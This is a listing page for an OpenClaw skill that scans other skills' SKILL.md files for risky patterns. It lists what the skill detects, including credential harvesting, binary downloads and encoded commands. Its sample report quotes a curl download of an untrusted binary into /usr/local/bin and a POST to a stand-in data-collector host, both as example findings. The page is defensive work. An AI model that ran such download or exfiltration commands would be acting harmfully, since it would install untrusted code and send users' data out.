Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Scans OpenClaw skills for security vulnerabilities and suspicious patterns before installation
Scans OpenClaw skills for security vulnerabilities and suspicious patterns before installation
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Then review README.md for any prerequisites, environment setup, or post-install checks. Tell me what you changed and call out any manual steps you could not complete.
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Then review README.md for any prerequisites, environment setup, or post-install checks. Summarize what changed and any follow-up checks I should run.
A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting: Hidden external downloads or executables Suspicious API calls and endpoints Dangerous file system operations Obfuscated or encoded commands Unusual prerequisite requirements Known malicious patterns Why this matters: This scanner helps you review skills before installation by flagging potentially suspicious instruction patterns.
โ Pattern Detection: Identifies suspicious code patterns and behaviors โ Prerequisite Analysis: Validates required dependencies and downloads โ API Endpoint Validation: Checks for suspicious external connections โ File System Auditing: Detects dangerous file operations โ Encoding Detection: Flags base64, hex, and other obfuscation attempts โ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL) โ Detailed Reports: Provides clear explanations of findings โ Whitelist Support: Configure trusted domains and patterns
This is an OpenClaw skill (not a standalone program). When you ask the agent to scan a skill file: The agent reads this security-scanner skill to learn what patterns to look for The agent reads the skill file you want to scan The agent analyzes the instructions and reports findings You manually review the flagged items Note: The included scanner.js file can also be run directly with Node.js 18+ if you prefer command-line usage.
Install via ClawHub or add to your OpenClaw skills directory. For command-line usage (optional): # Clone the repository git clone https://github.com/anikrahman0/security-skill-scanner.git cd security-skill-scanner # Run the scanner node scanner.js path/to/SKILL.md
Create a .security-scanner-config.json in your OpenClaw directory (optional): { "whitelistedDomains": [ "github.com", "api.openai.com", "api.anthropic.com", "raw.githubusercontent.com" ], "whitelistedCommands": [ "npm install", "pip install" ], "strictMode": false }
User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues" Agent: [Runs security scan and reports findings]
User: "I have the email-automation skill file. Can you scan it for security risks?" [User uploads the SKILL.md file] Agent: [Reads and analyzes the skill file, provides risk assessment] Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).
User: "Scan all my installed OpenClaw skills for security issues" Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]
Shell command injection attempts External executable downloads (curl/wget binaries) Suspicious eval() or exec() usage Credential harvesting patterns Known malware signatures
Unvalidated external API calls File system write access to sensitive directories Base64 or hex encoded commands Requests to unknown domains Privilege escalation attempts
Extensive file system read access Network requests without HTTPS Large numbers of dependencies Unusual prerequisite requests Deprecated or vulnerable packages
Minor code quality issues Missing error handling Incomplete documentation Non-critical warnings
The scanner uses regex patterns that may match innocent code. Common false positives: โ Backticks in markdown - Code examples using backticks โ Template strings - Documentation showing ${variable} syntax โ Base64 examples - Skills demonstrating encoding/decoding โ Package managers - Legitimate npm install or pip install commands โ GitHub URLs - Links to raw.githubusercontent.com
Skills are markdown instruction files, not executable code. This scanner: โ Reads the markdown text of skill files โ Looks for instruction patterns that might be concerning โ Flags items for your manual review โ Does NOT scan for executable malware (skills aren't programs) โ Does NOT provide definitive verdicts
YOU must review all flagged items in context. Ask yourself: Does this pattern make sense for what the skill does? Is the author trustworthy? Are the instructions clear and reasonable? When in doubt, ask the skill author or community.
=== Security Scan Report === Skill: email-automation Scanned: 2024-02-09 14:30:22 Overall Risk: HIGH โ ๏ธ FINDINGS: [CRITICAL] External Binary Download Detected Location: Line 45 in prerequisites Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper Risk: This downloads and executes an external binary from an untrusted source Recommendation: DO NOT INSTALL - Manual verification required [HIGH] Suspicious API Endpoint Location: Line 89 in execute() Pattern: POST to http://data-collector.xyz/log Risk: Sends data to unknown third-party server Recommendation: Review what data is being sent [MEDIUM] Unencrypted Network Request Location: Line 102 Pattern: HTTP instead of HTTPS Risk: Data transmitted without encryption Recommendation: Request HTTPS version SUMMARY: Total Issues: 3 Critical: 1 High: 1 Medium: 1 Low: 0 RECOMMENDATION: โ DO NOT INSTALL This skill has critical security issues that pose significant risk to your system.
User: "Scan the weather-checker skill" Agent: "โ SAFE - No security issues detected. The skill uses standard API calls to api.weatherapi.com with proper HTTPS and no file system access."
User: "Should I install the productivity-helper skill?" Agent: "โ ๏ธ WARNING - This skill attempts to download an external binary and makes requests to an unknown domain. Risk Level: CRITICAL Recommendation: DO NOT INSTALL"
User: "Analyze the note-taker skill" Agent: "โ ๏ธ CAUTION - Risk Level: LOW Found 2 minor issues: - Uses HTTP instead of HTTPS for icon download - Missing input validation on file paths These can likely be fixed. Consider contacting the author."
This scanner itself is designed with security in mind: โ No Network Access: The scanner itself runs completely offline (but if you ask Claude to download a skill file first, that download uses network) โ No External Dependencies: Pure JavaScript/Node.js โ Read-Only: Never modifies files being scanned โ No Telemetry: Doesn't send data anywhere โ Open Source: All code is auditable โ Sandboxed: Doesn't execute code from scanned skills
The scanner may flag legitimate uses of certain patterns. Common false positives: npm/pip installs: Legitimate package managers may trigger warnings GitHub URLs: Raw GitHub content URLs are generally safe Config files: Skills that write to config files may be flagged Log files: Creating log files may trigger file system warnings Use judgment and review flagged items in context.
Cannot detect zero-day exploits or novel attack vectors May miss sophisticated obfuscation techniques Requires human judgment for final decision Cannot scan encrypted or compiled code Pattern-based detection can have false positives This tool is a helpful first line of defense, but not a replacement for careful review.
Found a malicious pattern not detected? Submit an issue or PR with: The malicious pattern Example skill that uses it Suggested detection method
Machine learning-based pattern detection Integration with VirusTotal API (optional) Automatic skill reputation checking Community-sourced malware signatures Browser extension for ClawHub.ai scanning CI/CD integration for skill developers
Report issues: https://github.com/anikrahman0/security-skill-scanner/issues Suggest improvements: Pull requests welcome Security concerns: a7604366@gmail.com
MIT License - Free to use, modify, and distribute
This tool provides pattern-based security scanning with expected false positives. It scans instruction files (markdown), not executable code. Critical: This scanner cannot provide definitive security verdicts. All flagged items require manual review in context. Skills are instructions for Claude to read, not programs that execute automatically. Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills. Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.
Long-tail utilities that do not fit the current primary taxonomy cleanly.
Largest current source with strong distribution and engagement signals.